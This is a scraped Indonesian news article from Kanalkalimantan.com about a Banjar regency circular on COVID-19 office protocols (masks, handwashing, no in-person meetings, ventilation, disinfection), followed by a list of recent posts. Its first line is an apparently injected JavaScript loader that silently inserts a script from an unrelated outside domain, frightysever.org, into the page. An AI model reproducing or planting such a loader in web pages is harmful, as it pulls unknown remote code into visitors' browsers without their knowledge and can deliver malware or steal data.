(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Banjar

Cegah Klaster Baru, Pemkab Banjar Terbitkan SE Protokol Covid-19 di Perkantoran. Ini Isinya!


KANALKALIMANTAN. COM, MARTAPURA – Rentannya perkantoran pemerintah menjadi klaster baru Covid-19 membuat Pemkab Banjar mengambil langkah segara. Menyusul sejumlah pejabat yang terpapar, Pemkab menguluarkan Surat Edaran (SE) No 065/679/ ORG tentang penegasan penerapan penyesuaian kerja bagi aparatur sipil negara (ASN) dalam adaptasi kebiasan baru yang ada di Kabupaten Banjar.

Tak hanya diedarkan di lingkungan pemkab, SE tersebut juga disebar hingga ke kecamatan dan kantor desa di Kabupaten Banjar.

Sekertaris BPBD Banjar Azhar Alamsyah mengatakan, surat edaran dari Bupati Khalilurrahman tersebut guna meningkatkan pengawasan dalam protokol kesehatan Covid-19. “Mengingat saat ini hampir di tiap perkantoran ada saja staf yang terpapar,” katanya.

Dalam SE tersebut, disampaikan bahwa setiap perkantoran yang ada di kabupaten banjar yang membuka layanan atau kerja diwajibkan harus menyediakan dan menambah fasilitas cuci tangan dan menyiapkan masker. Termasuk mengatur tempat duduk di ruang ruang tertentu sesuai dengan ketentuan.

“Selain peningkatan itu juga disertai larangan bagi perkantoran yang berada di kabupaten banjar untuk melakukan rapat atau pertemuan apapun secara tatap muka” paparnya.

SE tersebut juga meminta fasilitas perkantoran memiliki ventilasi udara yang baik mengingat penyebaran virus ovid-19 bisa melalui droplet (percikan air ludah) dan airborne (melalui udara).

Selain itu, setiap perkantoran juga diminta mengatur ulang kembali waktu kerja serta pembatasan staf di setiap harinya guna mencegah kerumunan.

“Selain itu untuk pencegahan Covid-19 juga mewajibkan untuk setiap perkantoran melakukan penyemprotan disinfektan secara berkala.

Sejauh ini, BPBD Banjar sudah mendapatkan permintaan dari setiap perkantoran untuk melakukan penyemprotan menyusul terbitnya SE tersebut,” pungkas Azhar. (Kanalkalimantan.com/putra)

 

Reporter: Putra
Editor: Cell


Desy Arfianty

Recent Posts

Angkat Menu Hulu Sungai, Cafe and Eatery “Warung Pagat” Sajikan Mandai, Tarap hingga Pakasam

KANALKALIMANTAN.COM, BANJARBARU - Bisnis F&B atau Food and Beverage kian berkembang di Ibu Kota Provinsi… Read More

15 menit ago

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

17 jam ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

20 jam ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

21 jam ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

1 hari ago

Pemkab Banjar Raih Penghargaan sebagai Penyelenggara Pemerintahan Daerah dengan Kinerja Tinggi

KANALKALIMANTAN.COM, JAKARTA - Prestasi demi prestasi ditorehkan Pemkab Banjar di bawah kepemimpinan H Saidi Mansyur… Read More

1 hari ago